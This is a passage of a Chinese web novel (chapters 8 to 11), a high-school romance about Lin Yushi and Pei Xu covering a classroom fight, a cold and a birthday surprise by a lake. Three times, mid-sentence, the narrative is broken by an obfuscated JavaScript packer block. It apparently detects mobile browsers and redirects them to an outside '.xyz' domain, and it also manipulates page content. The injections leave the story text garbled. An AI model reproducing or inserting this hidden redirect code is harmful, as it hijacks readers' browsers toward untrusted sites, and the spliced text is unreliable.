林予诗拿了一杯爱喝的茉莉柠檬茶,这款无论是冰的还是热的,味道她都很喜欢。用热饮吸管轻轻地吸了一口茉莉柠檬茶,那股清新的味道瞬间就弥漫在了她的口腔里。 和姜时月一起慢慢地走到了操场上,两人打算散会步再回教室里休息。执礼附中的浅蓝色跑道很适合散步,这是午后和傍晚时分,学生们爱来的地方。 视线在操场上漫无目的地飘荡,一不小心,就看见了篮球场上的裴叙。林予诗下意识地眼神躲闪,而后喝了一口手中的茉莉柠檬茶,试图假装没有看见他。 眼尖的姜时月发现了不同,她说:“据说隔壁班来了一位数学还不错的新同学,有小道消息称还挺帅的,叫江潮声,不知道是不是裴叙旁边的那位。” “可能。”林予诗抬眼看了一眼匆匆说,“姜姜,我有点困了,我们回教室吧。” 而后的一路上,她再也没有抬头,只是在自顾自地喝着手中的柠檬茶。 午休的时光偷偷溜走,在午间电台栏目播放的余佳运的那首《触碰不到的你》里,林予诗将睡眼的朦胧抛在了身后。 刚刚做梦了,梦见了裴叙,梦里的他,好像在帮着什么同学说话。林予诗不解,只是在一旁写满数学公式的草稿本上,写下了他的名字。 还没等她想清楚自己为何会梦见他,只见姜时月急匆匆地从教室前门跑了进来,将手中的试卷放在桌上,而后迅速把她拉到了教室外的走廊上。 “我跟你说,裴叙因为帮他们班上那位新同学说话,和班上那位欺负新同学的男生打起来了,他人现在在教导主任的办公室里!” 8. Chapter 08 中午自习开始之前,裴叙吃完饭回到教室里的时候,就看见了一群人聚集在黑板报前,说着什么事情。没管他们,裴叙直接坐回了自己的座位上。只是那声音不算太小,刚拿出要写的试卷,一些窸窸窣窣的碎语就落入了他的耳畔。 是关于新同学江潮声的—— “你们知道吗,我听说,江潮声是县里小地方来的,你们知道他为什么会转学吗?” “为什么为什么?” “据说啊,他妈在外面出轨找了别的男人。” “啊,那名声很坏了。” “诶,重点不在这个,你知道吗,还有更恐怖的!他妈还杀了人!” “我去!”一阵惊叹声从小群体里传来,动静不小,还惹得班上一些其他同学的回头注意。一些同学好奇地走到了后面,用着八卦的语气说着“什么呀什么呀”。 小群体中间的那名同学把方才说的话重新再说了一遍。 而后又有人发出了感叹:“我的天,怪不得转学换个地方,原来他妈是杀人犯。” “不过,他怎么会转到市里来?” “这还不简单,他妈找出轨对象拿的呗。” “哎,江潮声人长得挺帅,没想到啧啧啧……” 小群体中间的男生,也就是刚才一直在那说和江潮声有关的事情的人,名叫张昊,平日里在班上挺装的,特别是在数学这个科目的课上。 看着一直在默默写题的裴叙,张昊对着他的背影“喂!”了一句。 裴叙停下了笔,没有回头,他在等张昊的下一句话。 “裴叙,你知道这个事情吗?” 把笔放下,回头看向张昊,说:“你刚刚说那么大声,别人很难不听见吧?” 见状,张昊示意身边的两位好友,让他们把聚在一起的同学给驱散了。 很快,教室的后排那只剩下了裴叙和张昊的身影。裴叙站起身来,走到了张昊的面前。两人不是平视,毕竟一米八六的裴叙比张昊高了半个脑袋。 “这事情你怎么看?”张昊像是下定了什么决心,一定要从裴叙那问出什么所以然一样。 “作业写完了?”裴叙问。 “这和作业有什么关系?”张昊反问。 “那你闲着没事说别人家的闲话?”裴叙凑近了一些,小声说。 “我作业写没写完用得着你来管?就事论事,说吧,你对你同桌江潮声的事情怎么看?” 江潮声刚到班上,班主任赵东明老师就把他安排成了裴叙的同桌。不只是因为裴叙是年级前十,重点是,把他放在裴叙的旁边,他也放心些。 “我只是提醒你,没有亲眼看见的事情,最好不要乱传,不管是对江潮声,还是对你自己,都不好,” “嘿!你倒是成为正人君子了?”张昊急了,“别用你这个眼神看着我。怎么,想打架吗?” 说着,张昊推搡了一下裴叙的肩膀。 见裴叙没有还手,张昊便又推了他一把。 后排的动静不算太小,很快就又吸引到了班上其他同学的注意力,三三两两的同学回头看向后面,全然一副“吃瓜”“八卦”的表情。 “这个张昊什么情况。” “嗐,张昊看裴叙不顺眼。” “为什么?” “张昊原来数学成绩很好,自从高二分了班之后,班上数学第一总是裴叙的,心里不服气。” 张昊动第一下手的时候,裴叙的态度很随意,想着随他去算了,不去计较那么多。可张昊不但没有收手,反而愈演愈烈,推了他三四下。 前面“吃瓜”的同学里传来了一句:“不好!裴叙和张昊打起来了!快去叫老师!” 擦红的嘴角,脖子后面不知道被张昊用什么东西划伤了一下,留下了一道痕迹。这场短暂的争吵,最后以裴叙反扣住张昊让他无法动弹结束。 班主任赵东明老师就来了,紧接着的,教室里以一句“都散了吧”而安静了下来。从后门口走出,裴叙向江潮声递了一个眼神,示意说让他进教室里去。方才和张昊的争执快要结束的那个瞬间,裴叙正好看见了后门口那匆匆赶来的江潮声。为了不让事情变得更加的不可控制,裴叙便眼神示意让江潮声先不要进来,让他先在教室外等一会。 赵东明办公室里正好逢教导主任前来喝茶,这一问,教导主任直接把他俩带去了办公室。 像是走流程一样地询问“谁先动的手”“为什么动手”之类的话,教导主任调取了班里面的监控录像,综合裴叙和张昊的当面对质的解释,最后决定让他俩写一份检讨,于下周的时候交上来。接着,教导主任打算挨个问话,于是便让裴叙先到办公室外等一等。 走到办公室外,裴叙人靠在了门旁边的墙上,他闭着眼微微仰头看向天空的方向,沉默。 风吹过他的脸,竟忽然生出了一丝困倦。微微睁眼,看了一眼时间,没想到已经过了午休的点。办公楼里的广播没有播放教学楼里正在播放的歌,整个走廊上很安静。 脚步声从楼梯间传来,裴叙下意识地看了过去。 下一秒,他看见了林予诗的视线。 - “打架了?”不知道用什么话作为开场,林予诗只好明知故问的说了句。 “嗯。”裴叙说,“你怎么来了。” “我听别人说你打架了,在教导主任办公室,所以我来看看。” “没事,也就一点小小的擦伤。” 林予诗注意到了裴叙微微泛红的嘴角,不知为何,心底却在忽然之间泛上了一阵心疼。 或许是因为,他们是“兄妹”吧。 “在罚站?” “没,教导主任让我在外面等等,轮流和他交流。” 话音落下,身旁传来了“咔嚓”一声,门被打开,教导主任走了出来。 见到林予诗来了,教导主任索性就把门一并关上了。 “这样吧,你先去医务室上点药,林予诗,你带他过去。” “好的老师。” 裴叙点头,对教导主任说了句“谢谢”。 楼梯间,裴叙故意将脚步放慢了一些。结果没下一层,就听见了林予诗的声音:“走快点吧我们,一会就要上课了。” 裴叙关切地问:“那天你扭伤脚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664673|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方怎么样了,还疼吗?” “没什么事了。”林予诗说,“小小的扭伤而已,也不是什么大事。” “那就好。”裴叙不放心,“你要是有什么不舒服的地方就和我说,别忍着。” “放心好啦。”林予诗笑着回答,“倒是你现在,刚和别人打完一架,身上疼着吧。” 询问他是否感觉到疼,是来自心底的反应,林予诗也不知道这是因为什么,这是她完全下意识情况下说出来的话,就像是冥冥之中被注定一般的安排。 “没事。”裴叙说。 裴叙记得裴江川和林见寒在这次出差之前对他说的话,一定要在长宜照顾好林予诗。这件事,裴叙从未曾忘记过,一直将它刻在了自己的心底。 很快就走到了医务室,仍然是那位老中医坐诊。 “还好,伤得不算太重,半大小伙子很快就能好,擦点药消消毒,观察一下。”医生拿出了消毒用的碘伏,放在了桌上。 “医生,我朋友肚子疼,能烦您去看看吗?”一个学生站在门口喘气,语气里全是焦急。 “好。”医生说,“你帮他上上药,上完了药就可以回班上课了,东西放在桌上,我来收拾。” 点头说了一句“谢谢”,而后只剩下了林予诗和裴叙。 裴叙拿起一旁的棉签,拧开碘酒的瓶盖。准备将棉签放进去的时候,林予诗的手忽然伸了过来,接过了他手中棉签。 裴叙微微一怔,只顾着眨眼。全都是因为林予诗的指尖不小心碰到了他。 “我自己来,没事的。”裴叙说。 “你脖子上的也要自己来吗?”刚才在来医务室的路上,林予诗就看见了裴叙脖子上的那道划痕。 乖乖低下头,让她去帮自己给脖子上的那道划痕上药消毒。 “疼吗?”又是一句来自心底的问题。 “不疼。”依旧是一样的回答。 “以后,尽量不要打架,好不好。”林予诗说,“下次再这样,我就要告诉裴叔叔了。” “好。” 午后的斜阳透过窗户玻璃触及着房间里的每一处空气,也落在了两人的身上。没有人说话,安安静静。 而后转身,不可避免的看见了他的双眼,林予诗却想下意识地躲闪。额头处微微泛红,她撕下了一张创可贴轻轻地为他贴上。意识到距离可能太近,林予诗找借口与他隔远了些许。 裴叙轻声说:“谢谢。” 故作轻松的语气,林予诗将手上的东西在桌上放好:“不用谢。” 回教室的路上,能够遇见学校里的那几棵樱花树。他们忽然默契地停在了樱花盛开最多的那棵树下,同时抬起了头。而后一阵风吹过,吹落了很多樱花花瓣。裴叙伸手试着想要接住它们,在下一个眨眼结束的瞬间,竟然发现真的有几片安安稳稳地落在了手心。 于是他看着手心的樱花花瓣说:“樱花落了,春天快要结束了,夏天就要来了。” 她笑着说:“时间还很长,我们还会一起遇见下一个春天。” 他看着她,不说话—— 我多希望,我们会是永远。 9. Chapter 09 夏天的长宜,随时都有可能会落下一场大雨,天气阴晴不定,说变就变。长宜的春天,天气依旧是如此。前几日的高温让人宛如就像是在盛夏,这几天忽然受北下的冷空气影响,温度骤降,就像是来到了入春前的冬春交界点。 原本脱去的卫衣被重新穿上,短袖被暂时地搁置在了一边,等待着真正的夏天的来临。受到这几天不定降雨的影响,随身还需要携带一把伞。 “阿嚏!”从家里出来,刚走到楼梯间里,林予诗就打了一个喷嚏。用纸擤了擤鼻子,她轻轻地清了一下嗓子。 有点干,像是上火了一样。在楼梯间的转角处再次清嗓确认,依旧是那种干涩的感觉。 见状,一旁的裴叙默默地递过来了一颗薄荷糖,是荷氏的午夜风暴味。 林予诗接过薄荷糖:“很少有人喜欢这个味道的荷氏,因为薄荷味特别的刺激。你喜欢这个味道?” “在便利店里面随手拿的。”裴叙从口袋里又拿出了一颗午夜风暴味的荷氏,撕开包装纸,把它塞进了自己的嘴里,“这个味道真的很强劲。” 林予诗撕开手中薄荷糖的包装纸:“我还挺喜欢这个味道的。” “我也是。”裴叙笑着说。 “真的?”林予诗话里夹杂着几分玩笑的语气。 裴叙的话里全是真诚:“不骗你,骗人是小狗。” 出租屋里执礼附中很近,没走几步路,就到了校门口。春风太过于温柔,经过耳边时难以察觉。忽然看见旁边的树在轻轻颤动,林予诗才落下了心中蔓延了一整条上学路的思绪。真是奇怪,为什么裴叙说的那句“骗人是小狗”会一直在自己的心里反复回荡呢? 真搞不懂十六七岁青春期时的自己。 恍惚了一整路,在进校门的瞬间才发现自己没有佩戴校牌。于是在被值日生拦下之前的那个瞬间,林予诗从校服口袋中拿出了那块白色的校牌,将它放在手中,在进校门的时候出示。 校门口的学生很多,谈话的声音充斥在周围。脑海中忽然蹦出了一个点子,林予诗嘴角微微一笑,将还在播放英语听力的有线耳机摘下,随手搭在了自己的肩膀。 她把放在自己手心的那块校牌递到了裴叙的眼前。 迟疑下自己的脚步,摘下正在听孙燕姿的蓝牙耳机,裴叙低头看向林予诗的手心。在见到她蓝底证件照的那一刻,眼神想要下意识地躲闪,看向别的地方。他知道,如果自己再多看一秒,心跳的猛烈变化,会不免的让他在脸上露出和心底秘密有关的一切。 “我们互换校牌吧!”林予诗说,“我喜欢和朋友互换校牌。” 看似无意,看似是与朋友之间的正常举动。 只有林予诗知道,除开这些,这是她让自己转移思绪的方式——她不想在脑海中继续回荡裴叙的那句“小狗从来都不骗人”了,不然一会的早读,自己又该不专心了。 裴叙的嘴角扯上微微一笑,像是早有准备的一样,他很自然地就从胸前取下了自己的校牌,而后放在了手心,给她递了过去。 最后在一棵树下停下脚步,站在她的斜前方,不敢看她一眼,抑制着脸上不要透露出心跳加速时会导致的红晕,微微倾斜自己的手,校牌最后稳稳当当地落入了她的手中,还就在她的校牌旁边。 再然后,小心翼翼地从她手上拿起她的校牌,故意不看上面的名字和照片,假装什么事都没有发生地一般,把她的校牌别在了校服上,也就是自己心脏的正前方。 “换好啦。”裴叙指了指自己心脏的位置,“你看。” “你怎么直接带上啦?”这倒是在林予诗意料之外的,往常,和朋友们互换校牌的时候,大家都是直接将对方的校牌收进口袋里面的。 “顺手。”裴叙说,“你要是不喜欢,我摘下来放进口袋里。” “没有!”下意识地接话,而后在脑海中紧急措辞,“我的意思是,没什么别的,你戴吧。” 说完,她便把裴叙的校牌别在了自己的校服上,她指着裴叙的校牌说:“别人问起来这是谁,我就说是我新认识的好朋友哇!” “好。”裴叙笑着说,“我也会说,这是我新认识的朋友,林予诗。” - 上午换了课,一连下来,除了第三节课是自习,其他的全是数学课。一上午结束,林予诗重重地趴在了课桌上,像是一个霜打的茄子。 虽然确实会有写完题的那种成就感,但脑子实在是太累,连轴转不喘气,还是吃不消的。 将柠檬茶从货架上取出,拿在手中。轻轻吸一口热柠檬茶,林予诗顿时感觉神清气爽。 “我跟你说,我现在还能够再写三张数学试卷都不带喘气的!”林予诗自信满满。 “别。我看你还是没醒,脑子还是被数学题占据攻击着的。说胡话呢。”闺密毫无保留地“吐槽”。 林予诗又喝了一口柠檬茶,彻底将脑子里的思绪给扯清楚了:“算了,比起数学,还是让我去写文章会比较好。” “嗯,是林予诗没错了。”姜时月与她干杯。 走上浅蓝色的跑道,眼睛不经意地看向篮球场的方向,就这样在第一个瞬间里看见了裴叙的身影。 假装什么都没有看见,看向蔚蓝的天空。而再低头,再低头,已经走到了和他靠得近的跑道上了。又是在看向篮球场的第一个瞬间看见了他,林予诗只觉得命运有的时候真的很巧,偏偏会让她看见他。 “你快看,有人在给你们家裴叙送水。”正好遇见了裴叙他们打球中场停下来的瞬间,姜时月眼神示意,一副八卦的语气说。 林予诗看了过去,还真看见了两位女生一前一后地站在裴叙的面前,给他递水。只是不清楚他说了什么,只见他摆了摆手,那两名女生就走了。 不再看着篮球场上,继续往前走。却在和他并排的瞬间,用余光看见了他转身的样子。快步往前走,林予诗清空着思绪,却又在低头的那一秒,看见了别在自己校服上的他的校牌。 - 或许是因为一整张数学试卷,第二节晚自习下课,林予诗只觉得一阵昏昏沉沉在不断地朝她袭来。作业已经写完,林予诗不打算立即在TO DO LIST纸上写下自主学习的任务。她想用一节晚自习的时间来给自己放个假,趴下来休息一下,或是看看书。 只是捧着一本书,听着教室里翻书声的白噪音,脑袋开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664674|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉越来越沉了起来。眼前的视线变得模糊,连看字都开始串行。 林予诗在决定合上书的那一秒确定,自己已经对瞌睡挥了白旗说投降。 “姜姜,我好困。”残存的意志,支撑着即将睡倒的林予诗对姜时月说着嘱托般的耳语,“帮我留意一下有没有老师,我决定入眠一下!” 姜时月轻声说了一句“OK”,然后立即回头,从后排座位上起身,轻手轻脚地关上了教室的后门。 于是在睡梦中,最后一节晚自习就这样溜走了。 林予诗在下课铃中醒了过来,只觉得喉咙更加地干燥难忍了。 甚至,身上还有点冷,还有点发抖寒颤。 强撑着精神坐起身来,只听见姜时月问她睡得怎么样? 林予诗回答说:“还行。有老师来过吗?” 姜时月面带微笑地摇头:“没有,你放心吧,我都给你看着呢。” “谢谢姜姜。”林予诗咽下去了一个即将发生的哈欠。 “顺手的事情。”姜时月说,“我妈说今天晚上有个朋友家的儿子要住进我们家,我得要赶紧回去。” “那你快去吧。”林予诗说,“我可能还要一会才走。明天见!” “好哦。明天见!” 与姜时月说完再见的时候,教室已经没剩下几位同学了。过了五分钟,正准备给裴叙发信息,却在拿出手机的那一刻,率先收到了他的微信。 隔壁班裴叙:我写完题了,一起回家吗? 强撑的精神在这五分钟里渐渐褪去,无法继续残存,林予诗只觉得一片头晕目眩,提上一点力气,她对裴叙的电话号码按下拨通键。 “喂。”电话听筒里的声音与后门口的声音重叠,一瞬间,林予诗不知道自己是在梦中还是在现实。 艰难地回头看向声音传来的方向,只见裴叙朝她走了过来。 他蹲在她的课桌前:“困啦?” 摇头,努力坐起来些许,而后看向他的双眼,说:“头晕。” 下意识地将手贴向她的额头,去试探温度,还好,没有发烧。但看她的精神状态,估计着可能是要感冒了,所以,裴叙不敢怠慢什么,他说:“我们回家好不好,回家休息一下,我给你泡一杯感冒药喝。” 精神在沉睡,疲惫地点点头,连说一句“好”的力气都没有。 脸上写满了担心,裴叙默默地帮她收好桌上的书,整理好了她的书包。 林予诗晕晕乎乎地起身,差点一个没站稳,好在扶住了桌角。 将身上的书包放在她的桌上,裴叙从自己的书包里拿出了家门的钥匙。外面传来了巡查人员的呼唤声,催促着还没有关灯的教室里的同学赶紧回家。 就这样慢慢地走到楼梯间,没带书包。停在下一层的转角,裴叙绕到她的身前,“上来。” 林予诗用着仅存的理智说了句“麻烦你了”。 楼梯间的灯忽明忽暗,林予诗开始掉入梦境。 在这层的灯暗下来的那个瞬间,她忽然呼唤了一遍他的名字,而后对他开口询问:“你为什么要照顾我?” 还有。 你的心,好像跳得很快…… 10.Chapter 10 灯不算太亮的房间里,传来了水沸腾的咕噜声。缓缓睁开眼睛的时候,林予诗发现自己已经躺在家里的沙发上了。 浑身酸疼,皱着眉头起身,下意识地去摸额头,发现自己似乎是有些低烧的。林予诗看了看四周,轻轻咳嗽,再次察觉喉咙微疼。 那时候她确定,自己应该是感冒了。 本想对着房子里的空气呼唤一声裴叙的名字,只是还没等她开口,他就从房间里走了出来。彼时,沸腾的烧水壶发出了“滴——滴——”的声音。林予诗永远不会知道,在那个时刻,这声音正牵扯着裴叙于暗夜中加速的、还未完全慢下来的心跳。 沸腾的水被倒入干净的玻璃杯,发出了清脆的水流音,脑海在这个瞬间里逐渐清醒,视线也不再继续模糊下去。 冲泡好的感冒冲剂被裴叙从餐桌那拿了过来,但先走入视线的,是一支体温计。 “量个体温。”裴叙说,“五分钟,一会记得把药喝了。” 接过体温计,林予诗点头,“谢谢。” 而后继续看向了不远处餐桌上的感冒药药盒,那还是她上次担心他会因为淋雨而感冒的时候买的。 林见寒常年不在家,独自一人的生活早已成为了她人生的主线。但此刻忽然闯入了一个人的身影,她忽然有种这十六年来从未感受到过的一种感觉。 浴室里响起了哗啦啦的水流声,裴叙正在洗澡。客厅里,林予诗看了一眼温度计,她微微叹气,是低烧。面前玻璃杯里的感冒药此刻的温度刚刚好,林予诗一饮而尽,而后躺在了沙发的靠背上。随手一摸就碰到了一条小毯子,哦,是裴叙刚才放过来的。 放在校服口袋中的手机发出振动,拿出手机一看,是母亲林见寒女士打来的电话。 林见寒:“好点了没啊予诗,裴叙发信息和我说你感冒了。” 林予诗:“小感冒,低烧而已,没什么事情。” “低烧很难受的。”林见寒说,“吃了药吗?” “嗯。”看着眼前的那杯已经喝完的感冒药,林予诗点了点头。 “妈最近在处理一件案子,不在市里,一时半会难回来。”林予诗说,“你要是缺什么,你就发消息给妈妈,妈妈给你邮回家。” “知道啦。”故作轻松的语气,将喉咙的疼痛咽进身体,装作什么事都没有发生的样子,“您去忙吧,一会我还要问裴叙物理题!” “早点休息,问完物理就睡觉。” 说完再见,电话落下。将体温计拿在手中消毒,林予诗的动作很慢很慢。 过去的很多年,林予诗在孤单的时间里感冒过,每次都是一个人,不去医院,只去药店买点药,回家喝完就睡觉。即使是第二天很不舒服,也会爬起身来去学校上课。如此这么做,只是不想让在外奔波的林见寒担心而已。 从小,林予诗就很听林见寒的话。因为她知道,林见寒几乎是一个人把她带大的,很不容易。不负责任的父亲卫海潮离开这个家的离开的很早,十年过去,林予诗的脑海中都快没有和他有关的记忆了。 林予诗觉得,让母亲林见寒每天能够开心,就是她最能够为她做的事情了。 高一选科分班那年,林予诗原本想学的历史方向。只是还没等她对林见寒说出那句“我想选历史”,林见寒就先发制人地说:“予诗,选物理吧。妈知道你喜欢思政,喜欢哲学,选物化政怎么样?专业覆盖多。” 一想到林见寒在外奔波的身影,林予诗便将心中的那些想法给咽了下去。她不想让林见寒因为一些其他的事情操心分心,耽误工作。于是,她在电话里说了一句好,却没有习惯性地点头。和林见寒聊完,转身在分科表上用2B铅笔涂黑了“物化政”组合的选项方框。 不知不觉地在沙发上睡着了,原本放在一旁的小毯子,此刻也搭在了身上。林予诗知道,这是裴叙帮她盖上的。 她在梦境中,似乎听见了裴叙轻轻走路和去厨房洗玻璃杯的声音。 裴叙房间的门那留了一条缝,林予诗看见了房间里漏出来的光。 看时间,刚过十二点。 于是赶紧起身,去自己的房间里拿上衣服,小跑去浴室里洗澡。 淋雨喷头被打开,温水落下,在淅沥的声音里,林予诗反复咀嚼着方才做的那个和从前有关的梦…… 隔天起来,林予诗推开窗户清了清嗓子。很意外的,居然只靠一晚上,嗓子就不疼了。 洗漱完从房间里出来,餐桌上已经准备好了早餐。裴叙笑着对她说了一句“早”,给她递过去了一杯橙子汁。 习惯了一个人的生活,现在忽然有人和她一起,一个人的生活就这样被打断,淡出了自己的世界。 拿起裴叙做好的三明治,林予诗忽然觉得,现在这样的生活很好。 还早,慢慢地走在去学校的路上。有关青春文学的构思正在春天的风中悄悄生长,林予诗在低头看见自己校服上别着的裴叙的校牌的那一刻,忽然就有了下一章的思路。 时间就这样在文字的堆砌中悄悄溜走,划过指尖,不留下一点痕迹。文稿多了那么一两页,思路却再次堵塞,陷入进卡顿的焦虑。 不是每天都会有惊奇的际遇,在很久没有动过的文稿中,林予诗又坠入进了焦虑的深海里。 那天是周天,林予诗和姜时月一起在学校里自习。写了一下午的数学物理,脑海里早已变得混乱不堪。本想看会言情小说放松一下自己,却从书包中抽出了自己那本小说的大纲。 苦恼泛上,默默地将书包的拉链拉上。一旁的姜时月察觉到林予诗的叹气,于是放下了笔,靠近了一点:“怎么啦?” “脑袋空空。”林予诗再一次叹气,“我都不知道,我自己是不是真的适合写作。” 姜时月平日也喜欢看书,小说散文她都看,她拍了拍林予诗的肩膀,安慰说:“写不出来就出去走走,未名湖那最适合吹晚风了,你要不试试?或许,吹吹风,思路就飘来啦!” 卡顿的思路连同着寻找排解方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673052|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式的路一起堵住,林予诗这时候才想起能够出去走走,散散心。 “去吧,你一个人去,好好走走,顺道在湖边停一停,吹吹晚风。我在教室里等你。” 林予诗点头:“好!” 试着用轻松的步子下楼,而后再用轻松的步调往前走,一直走到未名湖。下午刚下过一场大雨,此刻的空气湿湿的,混合着泥土和青草的味道。雨后的天是最好的看的,湖畔边的正在上演着日落的绝色。 走在木板桥上,脚下发出了“哒哒哒”的声音。 心里忽然平静了几分,而后停下脚步,手搭载湖边的栏杆上,什么都不去想地看着湖面上泛起的涟漪。 闭眼。 准备偷偷拥抱晚风,却不知为何忽然触及到了一段轻轻的吉他旋律。 “听见,冬天的离开,我在某年某月醒过来。”弹吉他的人随着旋律开始了歌唱。 林予诗知道,在她身后边弹吉他边唱《遇见》的人,是裴叙。 害怕打断他的情绪,她没有回头。视线却没有继续停留在湖面上的涟漪,反倒是坠入进了心底。 “总有一天,我的谜底会解开。” 被打乱的呼吸在《遇见》的尾声里开始调整,林予诗不知道要怎么回头看向他,动作才能被称得上是自然。 “好巧,你也在未名湖吹晚风。”裴叙将吉他放在一旁,主动提起了话题。 林予诗转身看向他,微笑:“刚刚没有转身,是怕打扰到你。歌唱的很好听,吉他的旋律也很适合你。”这是我听过的最好听的《遇见》翻唱版了。 后半句话林予诗自然是没有说的,她只是在心里默默地想。 湖边有一把长椅,走上前去,自然而然地坐下,看向天空。 “你怎么会在这里?”还是想明白在此遇见的原因,这是此刻在她心底徘徊的好奇。 “我说我也是来走走的。” “哦,原来如此。” “为什么说原来如此?” “我猜,你写了一下午的数学竞赛题,累了,所以来这里走走。” 裴叙单挑了一下自己的左边眉毛:“好吧,这也算是一个原因。” “你知道我为什么会这么想吗?”林予诗问。 裴叙看向她:“你说。” “不告诉你。”林予诗本想说“她是因为累了所以才到这里来的”的,但她想了想,还是不要把自己的不开心传染给他了吧,她还是习惯自己去处理让她烦恼的事情和烦恼产生的情绪。边想边看了一眼一旁路灯挂钟下的时钟,此刻正好是下午的5:20。 林予诗这时候才注意到日期—— 4月16日,是个特别的日子呢。 晚风中,裴叙说:“其实,我在这里还有一个原因。” 林予诗轻轻地问:“是什么?” 裴叙说:“等你。” 林予诗感到意外:“等我?” 他看着她,忍不住嘴角的笑:“生日快乐。” 11.Chapter 11 视线变得湿润模糊些许,在听见他说出那句话的瞬间,林予诗的心底不知为何又泛起了一阵“好像在哪见过这一幕”的错觉。 林予诗压着被情绪侵袭的声音说:“谢谢。” 一直等到夜幕降临,听完了不知道多少首孙燕姿的歌,林予诗才决定,要点亮两人中间的那个蛋糕上的蜡烛。 裴叙轻声为她唱生日快乐歌,春天的夜风没有打扰他们,默默地停在了一旁。 “许愿吧。”裴叙说,“记得,可以许三个愿望。” “要说出来吗?”林予诗做出许愿的动作,闭上了双眼。 “看你的想法,好像是最后一个不能说。” 在心中默默许下三个愿望,林予诗吹灭了蜡烛,她决定说出一个和他有关的愿望,“我希望我们都能够考上理想的大学。” 这是她三个愿望里最平凡的一个。 不再继续停留在愿望的路口,两人将蛋糕分成了三份。他们俩吃一份,还有一份,是带给姜时月的。林予诗方才收到了姜时月的信息,问她生日过的怎么样了?她那时候才明白,为何方才在教室里的时候,姜时月会提议让她自己一个人到未名湖那去走走了——原来是裴叙提前和她串通好的。 好吧,这应该算是一个秘密。 林予诗在心里默默地想,那就不和裴叙说自己已经知道了他为她准备生日惊喜的事情啦。 “裴叙。”林予诗说,“谢谢你。” 空气在片刻之间变得微甜,路灯下,裴叙和林予诗相视一笑。而后毫无预兆地,林予诗忘裴叙的脸上抹了一点奶油。只是好巧不巧,正好是碰在了他的鼻尖。 “干嘛?”裴叙笑着问。 “恶作剧。”林予诗说。有那么一瞬间里,她觉得裴叙像只小狗。 好吧,欺负小狗是不对的。 林予诗从口袋里拿出了纸,准备帮他擦去这恶作剧留下的痕迹。 只是刚将手靠近他的鼻尖,却忽然听见他说:“我告诉你一个秘密。” 停下即将触碰到他鼻尖的手,脸上闪过一丝疑惑,“什么呀?” 他再次向她挥挥手,于是她再靠近了几分。以为他是想要说什么悄悄话,林予诗便朝他再侧耳了一些。 但又在一瞬之间里察觉到彼此之间浅浅存在的关系,林予诗下意识地想要与他隔远一些。正当她准备往后退一点的时候,裴叙忽然朝她的鼻尖抹了一点蛋糕上的奶油。 “喂!骗人!”林予诗说,“根本就没有秘密。” 裴叙嘴角上扬:“是没有秘密,对于你来说。” 将他推开,两人之间就这样有了一段能够让一旁路灯灯光洒下的距离。 “嗯。”林予诗的语气里满是强调,“因为我们是家人。” “好吧。”裴叙默默收回了上扬的嘴角,他明白她为什么会忽然推开他了。 各自拿出口袋里的纸,将鼻尖那点“恶作剧”给擦去。 不能够再继续再昏暗的路灯下交错视线,他们心知肚明这其中的原因。 也不想在此刻就走回教室,于是在躲避完对方的视线之后,一同默契地背靠着长椅的靠背。 “你说,我们之间的关系怎么能够这么的好?”似是在找话题聊天,不让空气陷入进沉默,进而让氛围变得尴尬。但这也确实是林予诗心里正在想的问题,她不明白,他们之间的关系为什么没有像言情小说里写的那样,针锋相对,眼睛里容纳不下彼此。 “我暂时还不清楚原因。”裴叙坦言,“我只知道,和你在一起的时候,我会希望时间能够过的慢一些。” 再慢一点吧,时间,慢慢地往后走。 裴叙说:“很久很久之前,我做了一场梦,那场梦,就像是一个完整的故事。在那里有一大片的樱花树,我站在落着樱花花瓣的树下,遇见了一位朋友。” “那后来呢?”林予诗接话询问。 “后来啊,春天变成了一首诗。” “为什么?” “因为——”裴叙陷入迟疑。 听说你在春天。 “你猜呀。”裴叙将答案咽进了身体,没有选择把它说出来。 时至今日,他依旧不敢破坏那些曾在时间线上的发生过的事情,依旧是害怕这一切会出现偏差。 “你也喜欢孙燕姿?”没有继续追问裴叙,春天为什么会变成一首诗,她换了一个话题。 “嗯。”裴叙说,“小时候喜欢的第一首歌,是孙燕姿的《当冬夜渐暖》。” “好巧,一样。” 周围没有路过的学生,湖边只有他们,夜晚就这样沉醉在了春风中。 而后,他们开始轻轻地唱着那首《当冬夜渐暖》: “我们之间不是谁说了就算,拉扯的爱徒增结局的难堪,一百次相爱只要有一次的绚烂,下一次会更勇敢。” 最后一个音符落下,开始在夜风中消散的时候,两人忽然相视一笑。 “你唱歌真的很好听。”林予诗夸赞裴叙,“很适合唱情歌。” 